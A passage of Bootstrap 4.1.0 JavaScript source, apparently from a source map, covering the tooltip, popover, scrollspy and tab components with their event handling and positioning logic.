: 'right',\n BOTTOM : 'bottom',\n LEFT : 'left'\n }\n\n const Default = {\n animation : true,\n template : '<div class=\"tooltip\" role=\"tooltip\">' +\n '<div class=\"arrow\"></div>' +\n '<div class=\"tooltip-inner\"></div></div>',\n trigger : 'hover focus',\n title : '',\n delay : 0,\n html : false,\n selector : false,\n placement : 'top',\n offset : 0,\n container : false,\n fallbackPlacement : 'flip',\n boundary : 'scrollParent'\n }\n\n const HoverState = {\n SHOW : 'show',\n OUT : 'out'\n }\n\n const Event = {\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n INSERTED : `inserted${EVENT_KEY}`,\n CLICK : `click${EVENT_KEY}`,\n FOCUSIN : `focusin${EVENT_KEY}`,\n FOCUSOUT : `focusout${EVENT_KEY}`,\n MOUSEENTER : `mouseenter${EVENT_KEY}`,\n MOUSELEAVE : `mouseleave${EVENT_KEY}`\n }\n\n const ClassName = {\n FADE : 'fade',\n SHOW : 'show'\n }\n\n const Selector = {\n TOOLTIP : '.tooltip',\n TOOLTIP_INNER : '.tooltip-inner',\n ARROW : '.arrow'\n }\n\n const Trigger = {\n HOVER : 'hover',\n FOCUS : 'focus',\n CLICK : 'click',\n MANUAL : 'manual'\n }\n\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Tooltip {\n constructor(element, config) {\n /**\n * Check for Popper dependency\n * Popper - https://popper.js.org\n */\n if (typeof Popper === 'undefined') {\n throw new TypeError('Bootstrap tooltips require Popper.js (https://popper.js.org)')\n }\n\n // private\n this._isEnabled = true\n this._timeout = 0\n this._hoverState = ''\n this._activeTrigger = {}\n this._popper = null\n\n // Protected\n this.element = element\n this.config = this._getConfig(config)\n this.tip = null\n\n this._setListeners()\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n static get NAME() {\n return NAME\n }\n\n static get DATA_KEY() {\n return DATA_KEY\n }\n\n static get Event() {\n return Event\n }\n\n static get EVENT_KEY() {\n return EVENT_KEY\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n // Public\n\n enable() {\n this._isEnabled = true\n }\n\n disable() {\n this._isEnabled = false\n }\n\n toggleEnabled() {\n this._isEnabled = !this._isEnabled\n }\n\n toggle(event) {\n if (!this._isEnabled) {\n return\n }\n\n if (event) {\n const dataKey = this.constructor.DATA_KEY\n let context = $(event.currentTarget).data(dataKey)\n\n if (!context) {\n context = new this.constructor(\n event.currentTarget,\n this._getDelegateConfig()\n )\n $(event.currentTarget).data(dataKey, context)\n }\n\n context._activeTrigger.click = !context._activeTrigger.click\n\n if (context._isWithActiveTrigger()) {\n context._enter(null, context)\n } else {\n context._leave(null, context)\n }\n } else {\n if ($(this.getTipElement()).hasClass(ClassName.SHOW)) {\n this._leave(null, this)\n return\n }\n\n this._enter(null, this)\n }\n }\n\n dispose() {\n clearTimeout(this._timeout)\n\n $.removeData(this.element, this.constructor.DATA_KEY)\n\n $(this.element).off(this.constructor.EVENT_KEY)\n $(this.element).closest('.modal').off('hide.bs.modal')\n\n if (this.tip) {\n $(this.tip).remove()\n }\n\n this._isEnabled = null\n this._timeout = null\n this._hoverState = null\n this._activeTrigger = null\n if (this._popper !== null) {\n this._popper.destroy()\n }\n\n this._popper = null\n this.element = null\n this.config = null\n this.tip = null\n }\n\n show() {\n if ($(this.element).css('display') === 'none') {\n throw new Error('Please use show on visible elements')\n }\n\n const showEvent = $.Event(this.constructor.Event.SHOW)\n if (this.isWithContent() && this._isEnabled) {\n $(this.element).trigger(showEvent)\n\n const isInTheDom = $.contains(\n this.element.ownerDocument.documentElement,\n this.element\n )\n\n if (showEvent.isDefaultPrevented() || !isInTheDom) {\n return\n }\n\n const tip = this.getTipElement()\n const tipId = Util.getUID(this.constructor.NAME)\n\n tip.setAttribute('id', tipId)\n this.element.setAttribute('aria-describedby', tipId)\n\n this.setContent()\n\n if (this.config.animation) {\n $(tip).addClass(ClassName.FADE)\n }\n\n const placement = typeof this.config.placement === 'function'\n ? this.config.placement.call(this, tip, this.element)\n : this.config.placement\n\n const attachment = this._getAttachment(placement)\n this.addAttachmentClass(attachment)\n\n const container = this.config.container === false ? document.body : $(this.config.container)\n\n $(tip).data(this.constructor.DATA_KEY, this)\n\n if (!$.contains(this.element.ownerDocument.documentElement, this.tip)) {\n $(tip).appendTo(container)\n }\n\n $(this.element).trigger(this.constructor.Event.INSERTED)\n\n this._popper = new Popper(this.element, tip, {\n placement: attachment,\n modifiers: {\n offset: {\n offset: this.config.offset\n },\n flip: {\n behavior: this.config.fallbackPlacement\n },\n arrow: {\n element: Selector.ARROW\n },\n preventOverflow: {\n boundariesElement: this.config.boundary\n }\n },\n onCreate: (data) => {\n if (data.originalPlacement !== data.placement) {\n this._handlePopperPlacementChange(data)\n }\n },\n onUpdate: (data) => {\n this._handlePopperPlacementChange(data)\n }\n })\n\n $(tip).addClass(ClassName.SHOW)\n\n // If this is a touch-enabled device we add extra\n // empty mouseover listeners to the body's immediate children;\n // only needed because of broken event delegation on iOS\n // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n if ('ontouchstart' in document.documentElement) {\n $(document.body).children().on('mouseover', null, $.noop)\n }\n\n const complete = () => {\n if (this.config.animation) {\n this._fixTransition()\n }\n const prevHoverState = this._hoverState\n this._hoverState = null\n\n $(this.element).trigger(this.constructor.Event.SHOWN)\n\n if (prevHoverState === HoverState.OUT) {\n this._leave(null, this)\n }\n }\n\n if ($(this.tip).hasClass(ClassName.FADE)) {\n const transitionDuration = Util.getTransitionDurationFromElement(this.tip)\n\n $(this.tip)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n } else {\n complete()\n }\n }\n }\n\n hide(callback) {\n const tip = this.getTipElement()\n const hideEvent = $.Event(this.constructor.Event.HIDE)\n const complete = () => {\n if (this._hoverState !== HoverState.SHOW && tip.parentNode) {\n tip.parentNode.removeChild(tip)\n }\n\n this._cleanTipClass()\n this.element.removeAttribute('aria-describedby')\n $(this.element).trigger(this.constructor.Event.HIDDEN)\n if (this._popper !== null) {\n this._popper.destroy()\n }\n\n if (callback) {\n callback()\n }\n }\n\n $(this.element).trigger(hideEvent)\n\n if (hideEvent.isDefaultPrevented()) {\n return\n }\n\n $(tip).removeClass(ClassName.SHOW)\n\n // If this is a touch-enabled device we remove the extra\n // empty mouseover listeners we added for iOS support\n if ('ontouchstart' in document.documentElement) {\n $(document.body).children().off('mouseover', null, $.noop)\n }\n\n this._activeTrigger[Trigger.CLICK] = false\n this._activeTrigger[Trigger.FOCUS] = false\n this._activeTrigger[Trigger.HOVER] = false\n\n if ($(this.tip).hasClass(ClassName.FADE)) {\n const transitionDuration = Util.getTransitionDurationFromElement(tip)\n\n $(tip)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n } else {\n complete()\n }\n\n this._hoverState = ''\n }\n\n update() {\n if (this._popper !== null) {\n this._popper.scheduleUpdate()\n }\n }\n\n // Protected\n\n isWithContent() {\n return Boolean(this.getTitle())\n }\n\n addAttachmentClass(attachment) {\n $(this.getTipElement()).addClass(`${CLASS_PREFIX}-${attachment}`)\n }\n\n getTipElement() {\n this.tip = this.tip || $(this.config.template)[0]\n return this.tip\n }\n\n setContent() {\n const $tip = $(this.getTipElement())\n this.setElementContent($tip.find(Selector.TOOLTIP_INNER), this.getTitle())\n $tip.removeClass(`${ClassName.FADE} ${ClassName.SHOW}`)\n }\n\n setElementContent($element, content) {\n const html = this.config.html\n if (typeof content === 'object' && (content.nodeType || content.jquery)) {\n // Content is a DOM node or a jQuery\n if (html) {\n if (!$(content).parent().is($element)) {\n $element.empty().append(content)\n }\n } else {\n $element.text($(content).text())\n }\n } else {\n $element[html ? 'html' : 'text'](content)\n }\n }\n\n getTitle() {\n let title = this.element.getAttribute('data-original-title')\n\n if (!title) {\n title = typeof this.config.title === 'function'\n ? this.config.title.call(this.element)\n : this.config.title\n }\n\n return title\n }\n\n // Private\n\n _getAttachment(placement) {\n return AttachmentMap[placement.toUpperCase()]\n }\n\n _setListeners() {\n const triggers = this.config.trigger.split(' ')\n\n triggers.forEach((trigger) => {\n if (trigger === 'click') {\n $(this.element).on(\n this.constructor.Event.CLICK,\n this.config.selector,\n (event) => this.toggle(event)\n )\n } else if (trigger !== Trigger.MANUAL) {\n const eventIn = trigger === Trigger.HOVER\n ? this.constructor.Event.MOUSEENTER\n : this.constructor.Event.FOCUSIN\n const eventOut = trigger === Trigger.HOVER\n ? this.constructor.Event.MOUSELEAVE\n : this.constructor.Event.FOCUSOUT\n\n $(this.element)\n .on(\n eventIn,\n this.config.selector,\n (event) => this._enter(event)\n )\n .on(\n eventOut,\n this.config.selector,\n (event) => this._leave(event)\n )\n }\n\n $(this.element).closest('.modal').on(\n 'hide.bs.modal',\n () => this.hide()\n )\n })\n\n if (this.config.selector) {\n this.config = {\n ...this.config,\n trigger: 'manual',\n selector: ''\n }\n } else {\n this._fixTitle()\n }\n }\n\n _fixTitle() {\n const titleType = typeof this.element.getAttribute('data-original-title')\n if (this.element.getAttribute('title') ||\n titleType !== 'string') {\n this.element.setAttribute(\n 'data-original-title',\n this.element.getAttribute('title') || ''\n )\n this.element.setAttribute('title', '')\n }\n }\n\n _enter(event, context) {\n const dataKey = this.constructor.DATA_KEY\n\n context = context || $(event.currentTarget).data(dataKey)\n\n if (!context) {\n context = new this.constructor(\n event.currentTarget,\n this._getDelegateConfig()\n )\n $(event.currentTarget).data(dataKey, context)\n }\n\n if (event) {\n context._activeTrigger[\n event.type === 'focusin' ? Trigger.FOCUS : Trigger.HOVER\n ] = true\n }\n\n if ($(context.getTipElement()).hasClass(ClassName.SHOW) ||\n context._hoverState === HoverState.SHOW) {\n context._hoverState = HoverState.SHOW\n return\n }\n\n clearTimeout(context._timeout)\n\n context._hoverState = HoverState.SHOW\n\n if (!context.config.delay || !context.config.delay.show) {\n context.show()\n return\n }\n\n context._timeout = setTimeout(() => {\n if (context._hoverState === HoverState.SHOW) {\n context.show()\n }\n }, context.config.delay.show)\n }\n\n _leave(event, context) {\n const dataKey = this.constructor.DATA_KEY\n\n context = context || $(event.currentTarget).data(dataKey)\n\n if (!context) {\n context = new this.constructor(\n event.currentTarget,\n this._getDelegateConfig()\n )\n $(event.currentTarget).data(dataKey, context)\n }\n\n if (event) {\n context._activeTrigger[\n event.type === 'focusout' ? Trigger.FOCUS : Trigger.HOVER\n ] = false\n }\n\n if (context._isWithActiveTrigger()) {\n return\n }\n\n clearTimeout(context._timeout)\n\n context._hoverState = HoverState.OUT\n\n if (!context.config.delay || !context.config.delay.hide) {\n context.hide()\n return\n }\n\n context._timeout = setTimeout(() => {\n if (context._hoverState === HoverState.OUT) {\n context.hide()\n }\n }, context.config.delay.hide)\n }\n\n _isWithActiveTrigger() {\n for (const trigger in this._activeTrigger) {\n if (this._activeTrigger[trigger]) {\n return true\n }\n }\n\n return false\n }\n\n _getConfig(config) {\n config = {\n ...this.constructor.Default,\n ...$(this.element).data(),\n ...config\n }\n\n if (typeof config.delay === 'number') {\n config.delay = {\n show: config.delay,\n hide: config.delay\n }\n }\n\n if (typeof config.title === 'number') {\n config.title = config.title.toString()\n }\n\n if (typeof config.content === 'number') {\n config.content = config.content.toString()\n }\n\n Util.typeCheckConfig(\n NAME,\n config,\n this.constructor.DefaultType\n )\n\n return config\n }\n\n _getDelegateConfig() {\n const config = {}\n\n if (this.config) {\n for (const key in this.config) {\n if (this.constructor.Default[key] !== this.config[key]) {\n config[key] = this.config[key]\n }\n }\n }\n\n return config\n }\n\n _cleanTipClass() {\n const $tip = $(this.getTipElement())\n const tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX)\n if (tabClass !== null && tabClass.length > 0) {\n $tip.removeClass(tabClass.join(''))\n }\n }\n\n _handlePopperPlacementChange(data) {\n this._cleanTipClass()\n this.addAttachmentClass(this._getAttachment(data.placement))\n }\n\n _fixTransition() {\n const tip = this.getTipElement()\n const initConfigAnimation = this.config.animation\n if (tip.getAttribute('x-placement') !== null) {\n return\n }\n $(tip).removeClass(ClassName.FADE)\n this.config.animation = false\n this.hide()\n this.show()\n this.config.animation = initConfigAnimation\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = typeof config === 'object' && config\n\n if (!data && /dispose|hide/.test(config)) {\n return\n }\n\n if (!data) {\n data = new Tooltip(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Tooltip._jQueryInterface\n $.fn[NAME].Constructor = Tooltip\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Tooltip._jQueryInterface\n }\n\n return Tooltip\n})($, Popper)\n\nexport default Tooltip\n","import $ from 'jquery'\nimport Tooltip from './tooltip'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): popover.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Popover = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'popover'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.popover'\n const EVENT_KEY = `.${DATA_KEY}`\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n const CLASS_PREFIX = 'bs-popover'\n const BSCLS_PREFIX_REGEX = new RegExp(`(^|\\\\s)${CLASS_PREFIX}\\\\S+`, 'g')\n\n const Default = {\n ...Tooltip.Default,\n placement : 'right',\n trigger : 'click',\n content : '',\n template : '<div class=\"popover\" role=\"tooltip\">' +\n '<div class=\"arrow\"></div>' +\n '<h3 class=\"popover-header\"></h3>' +\n '<div class=\"popover-body\"></div></div>'\n }\n\n const DefaultType = {\n ...Tooltip.DefaultType,\n content : '(string|element|function)'\n }\n\n const ClassName = {\n FADE : 'fade',\n SHOW : 'show'\n }\n\n const Selector = {\n TITLE : '.popover-header',\n CONTENT : '.popover-body'\n }\n\n const Event = {\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n INSERTED : `inserted${EVENT_KEY}`,\n CLICK : `click${EVENT_KEY}`,\n FOCUSIN : `focusin${EVENT_KEY}`,\n FOCUSOUT : `focusout${EVENT_KEY}`,\n MOUSEENTER : `mouseenter${EVENT_KEY}`,\n MOUSELEAVE : `mouseleave${EVENT_KEY}`\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Popover extends Tooltip {\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n static get NAME() {\n return NAME\n }\n\n static get DATA_KEY() {\n return DATA_KEY\n }\n\n static get Event() {\n return Event\n }\n\n static get EVENT_KEY() {\n return EVENT_KEY\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n // Overrides\n\n isWithContent() {\n return this.getTitle() || this._getContent()\n }\n\n addAttachmentClass(attachment) {\n $(this.getTipElement()).addClass(`${CLASS_PREFIX}-${attachment}`)\n }\n\n getTipElement() {\n this.tip = this.tip || $(this.config.template)[0]\n return this.tip\n }\n\n setContent() {\n const $tip = $(this.getTipElement())\n\n // We use append for html objects to maintain js events\n this.setElementContent($tip.find(Selector.TITLE), this.getTitle())\n let content = this._getContent()\n if (typeof content === 'function') {\n content = content.call(this.element)\n }\n this.setElementContent($tip.find(Selector.CONTENT), content)\n\n $tip.removeClass(`${ClassName.FADE} ${ClassName.SHOW}`)\n }\n\n // Private\n\n _getContent() {\n return this.element.getAttribute('data-content') ||\n this.config.content\n }\n\n _cleanTipClass() {\n const $tip = $(this.getTipElement())\n const tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX)\n if (tabClass !== null && tabClass.length > 0) {\n $tip.removeClass(tabClass.join(''))\n }\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = typeof config === 'object' ? config : null\n\n if (!data && /destroy|hide/.test(config)) {\n return\n }\n\n if (!data) {\n data = new Popover(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Popover._jQueryInterface\n $.fn[NAME].Constructor = Popover\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Popover._jQueryInterface\n }\n\n return Popover\n})($)\n\nexport default Popover\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): scrollspy.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst ScrollSpy = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'scrollspy'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.scrollspy'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n const Default = {\n offset : 10,\n method : 'auto',\n target : ''\n }\n\n const DefaultType = {\n offset : 'number',\n method : 'string',\n target : '(string|element)'\n }\n\n const Event = {\n ACTIVATE : `activate${EVENT_KEY}`,\n SCROLL : `scroll${EVENT_KEY}`,\n LOAD_DATA_API : `load${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n DROPDOWN_ITEM : 'dropdown-item',\n DROPDOWN_MENU : 'dropdown-menu',\n ACTIVE : 'active'\n }\n\n const Selector = {\n DATA_SPY : '[data-spy=\"scroll\"]',\n ACTIVE : '.active',\n NAV_LIST_GROUP : '.nav, .list-group',\n NAV_LINKS : '.nav-link',\n NAV_ITEMS : '.nav-item',\n LIST_ITEMS : '.list-group-item',\n DROPDOWN : '.dropdown',\n DROPDOWN_ITEMS : '.dropdown-item',\n DROPDOWN_TOGGLE : '.dropdown-toggle'\n }\n\n const OffsetMethod = {\n OFFSET : 'offset',\n POSITION : 'position'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class ScrollSpy {\n constructor(element, config) {\n this._element = element\n this._scrollElement = element.tagName === 'BODY' ? window : element\n this._config = this._getConfig(config)\n this._selector = `${this._config.target} ${Selector.NAV_LINKS},` +\n `${this._config.target} ${Selector.LIST_ITEMS},` +\n `${this._config.target} ${Selector.DROPDOWN_ITEMS}`\n this._offsets = []\n this._targets = []\n this._activeTarget = null\n this._scrollHeight = 0\n\n $(this._scrollElement).on(Event.SCROLL, (event) => this._process(event))\n\n this.refresh()\n this._process()\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n // Public\n\n refresh() {\n const autoMethod = this._scrollElement === this._scrollElement.window\n ? OffsetMethod.OFFSET : OffsetMethod.POSITION\n\n const offsetMethod = this._config.method === 'auto'\n ? autoMethod : this._config.method\n\n const offsetBase = offsetMethod === OffsetMethod.POSITION\n ? this._getScrollTop() : 0\n\n this._offsets = []\n this._targets = []\n\n this._scrollHeight = this._getScrollHeight()\n\n const targets = $.makeArray($(this._selector))\n\n targets\n .map((element) => {\n let target\n const targetSelector = Util.getSelectorFromElement(element)\n\n if (targetSelector) {\n target = $(targetSelector)[0]\n }\n\n if (target) {\n const targetBCR = target.getBoundingClientRect()\n if (targetBCR.width || targetBCR.height) {\n // TODO (fat): remove sketch reliance on jQuery position/offset\n return [\n $(target)[offsetMethod]().top + offsetBase,\n targetSelector\n ]\n }\n }\n return null\n })\n .filter((item) => item)\n .sort((a, b) => a[0] - b[0])\n .forEach((item) => {\n this._offsets.push(item[0])\n this._targets.push(item[1])\n })\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n $(this._scrollElement).off(EVENT_KEY)\n\n this._element = null\n this._scrollElement = null\n this._config = null\n this._selector = null\n this._offsets = null\n this._targets = null\n this._activeTarget = null\n this._scrollHeight = null\n }\n\n // Private\n\n _getConfig(config) {\n config = {\n ...Default,\n ...config\n }\n\n if (typeof config.target !== 'string') {\n let id = $(config.target).attr('id')\n if (!id) {\n id = Util.getUID(NAME)\n $(config.target).attr('id', id)\n }\n config.target = `#${id}`\n }\n\n Util.typeCheckConfig(NAME, config, DefaultType)\n\n return config\n }\n\n _getScrollTop() {\n return this._scrollElement === window\n ? this._scrollElement.pageYOffset : this._scrollElement.scrollTop\n }\n\n _getScrollHeight() {\n return this._scrollElement.scrollHeight || Math.max(\n document.body.scrollHeight,\n document.documentElement.scrollHeight\n )\n }\n\n _getOffsetHeight() {\n return this._scrollElement === window\n ? window.innerHeight : this._scrollElement.getBoundingClientRect().height\n }\n\n _process() {\n const scrollTop = this._getScrollTop() + this._config.offset\n const scrollHeight = this._getScrollHeight()\n const maxScroll = this._config.offset +\n scrollHeight -\n this._getOffsetHeight()\n\n if (this._scrollHeight !== scrollHeight) {\n this.refresh()\n }\n\n if (scrollTop >= maxScroll) {\n const target = this._targets[this._targets.length - 1]\n\n if (this._activeTarget !== target) {\n this._activate(target)\n }\n return\n }\n\n if (this._activeTarget && scrollTop < this._offsets[0] && this._offsets[0] > 0) {\n this._activeTarget = null\n this._clear()\n return\n }\n\n for (let i = this._offsets.length; i--;) {\n const isActiveTarget = this._activeTarget !== this._targets[i] &&\n scrollTop >= this._offsets[i] &&\n (typeof this._offsets[i + 1] === 'undefined' ||\n scrollTop < this._offsets[i + 1])\n\n if (isActiveTarget) {\n this._activate(this._targets[i])\n }\n }\n }\n\n _activate(target) {\n this._activeTarget = target\n\n this._clear()\n\n let queries = this._selector.split(',')\n // eslint-disable-next-line arrow-body-style\n queries = queries.map((selector) => {\n return `${selector}[data-target=\"${target}\"],` +\n `${selector}[href=\"${target}\"]`\n })\n\n const $link = $(queries.join(','))\n\n if ($link.hasClass(ClassName.DROPDOWN_ITEM)) {\n $link.closest(Selector.DROPDOWN).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE)\n $link.addClass(ClassName.ACTIVE)\n } else {\n // Set triggered link as active\n $link.addClass(ClassName.ACTIVE)\n // Set triggered links parents as active\n // With both <ul> and <nav> markup a parent is the previous sibling of any nav ancestor\n $link.parents(Selector.NAV_LIST_GROUP).prev(`${Selector.NAV_LINKS}, ${Selector.LIST_ITEMS}`).addClass(ClassName.ACTIVE)\n // Handle special case when .nav-link is inside .nav-item\n $link.parents(Selector.NAV_LIST_GROUP).prev(Selector.NAV_ITEMS).children(Selector.NAV_LINKS).addClass(ClassName.ACTIVE)\n }\n\n $(this._scrollElement).trigger(Event.ACTIVATE, {\n relatedTarget: target\n })\n }\n\n _clear() {\n $(this._selector).filter(Selector.ACTIVE).removeClass(ClassName.ACTIVE)\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = typeof config === 'object' && config\n\n if (!data) {\n data = new ScrollSpy(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(window).on(Event.LOAD_DATA_API, () => {\n const scrollSpys = $.makeArray($(Selector.DATA_SPY))\n\n for (let i = scrollSpys.length; i--;) {\n const $spy = $(scrollSpys[i])\n ScrollSpy._jQueryInterface.call($spy, $spy.data())\n }\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = ScrollSpy._jQueryInterface\n $.fn[NAME].Constructor = ScrollSpy\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return ScrollSpy._jQueryInterface\n }\n\n return ScrollSpy\n})($)\n\nexport default ScrollSpy\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): tab.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Tab = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'tab'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.tab'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n const Event = {\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n DROPDOWN_MENU : 'dropdown-menu',\n ACTIVE : 'active',\n DISABLED : 'disabled',\n FADE : 'fade',\n SHOW : 'show'\n }\n\n const Selector = {\n DROPDOWN : '.dropdown',\n NAV_LIST_GROUP : '.nav, .list-group',\n ACTIVE : '.active',\n ACTIVE_UL : '> li > .active',\n DATA_TOGGLE : '[data-toggle=\"tab\"], [data-toggle=\"pill\"], [data-toggle=\"list\"]',\n DROPDOWN_TOGGLE : '.dropdown-toggle',\n DROPDOWN_ACTIVE_CHILD : '> .dropdown-menu .active'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Tab {\n constructor(element) {\n this._element = element\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n // Public\n\n show() {\n if (this._element.parentNode &&\n this._element.parentNode.nodeType === Node.ELEMENT_NODE &&\n $(this._element).hasClass(ClassName.ACTIVE) ||\n $(this._element).hasClass(ClassName.DISABLED)) {\n return\n }\n\n let target\n let previous\n const listElement = $(this._element).closest(Selector.NAV_LIST_GROUP)[0]\n const selector = Util.getSelectorFromElement(this._element)\n\n if (listElement) {\n const itemSelector = listElement.nodeName === 'UL' ? Selector.ACTIVE_UL : Selector.ACTIVE\n previous = $.makeArray($(listElement).find(itemSelector))\n previous = previous[previous.length - 1]\n }\n\n const hideEvent = $.Event(Event.HIDE, {\n relatedTarget: this._element\n })\n\n const showEvent = $.Event(Event.SHOW, {\n relatedTarget: previous\n })\n\n if (previous) {\n $(previous).trigger(hideEvent)\n }\n\n $(this._element).trigger(showEvent)\n\n if (showEvent.isDefaultPrevented() ||\n hideEvent.isDefaultPrevented()) {\n return\n }\n\n if (selector) {\n target = $(selector)[0]\n }\n\n this._activate(\n this._element,\n listElement\n )\n\n const complete = () => {\n const hiddenEvent = $.Event(Event.HIDDEN, {\n relatedTarget: this._element\n })\n\n const shownEvent = $.Event(Event.SHOWN, {\n relatedTarget: previous\n })\n\n $(previous).trigger(hiddenEvent)\n $(this._element).trigger(shownEvent)\n }\n\n if (target) {\n this._activate(target, target.parentNode, complete)\n } else {\n complete()\n }\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n this._element = null\n }\n\n // Private\n\n _activate(element, container, callback) {\n let activeElements\n if (container.nodeName === 'UL') {\n activeElements = $(container).find(Selector.ACTIVE_UL)\n } else {\n activeElements = $(container).children(Selector.ACTIVE)\n }\n\n const active = activeElements[0]\n const isTransitioning = callback &&\n (active && $(active).hasClass(ClassName.FADE))\n\n const complete = () => this._transitionComplete(\n element,\n active,\n callback\n )\n\n if (active && isTransitioning) {\n const transitionDuration = Util.getTransitionDurationFromElement(active)\n\n $(active)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n } else {\n complete()\n }\n }\n\n _transitionComplete(element, active, callback) {\n if (active) {\n $(active).removeClass(`${ClassName.SHOW} ${ClassName.ACTIVE}`)\n\n const dropdownChild = $(active.parentNode).find(\n Selector.DROPDOWN_ACTIVE_CHILD\n )[0]\n\n if (dropdownChild) {\n $(dropdownChild).removeClass(ClassName.ACTIVE)\n }\n\n if (active.getAttribute('role') === 'tab') {\n active.setAttribute('aria-selected', false)\n }\n }\n\n $(element).addClass(ClassName.ACTIVE)\n if (element.getAttribute('role') === 'tab') {\n element.setAttribute('aria-selected', true)\n }\n\n Util.reflow(element)\n $(element).addClass(ClassName.SHOW)\n\n if (element.parentNode &&\n $(element.parentNode).hasClass(ClassName.DROPDOWN_MENU)) {\n const dropdownElement = $(element).closest(Selector.DROPDOWN)[0]\n if (dropdownElement) {\n $(dropdownElement).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE)\n }\n\n element.setAttribute('aria-expanded', true)\n }\n\n if (callback) {\n callback()\n }\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n const $this = $(this)\n let data = $this.data(DATA_KEY)\n\n if (!data) {\n data = new Tab(this)\n $this.data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n 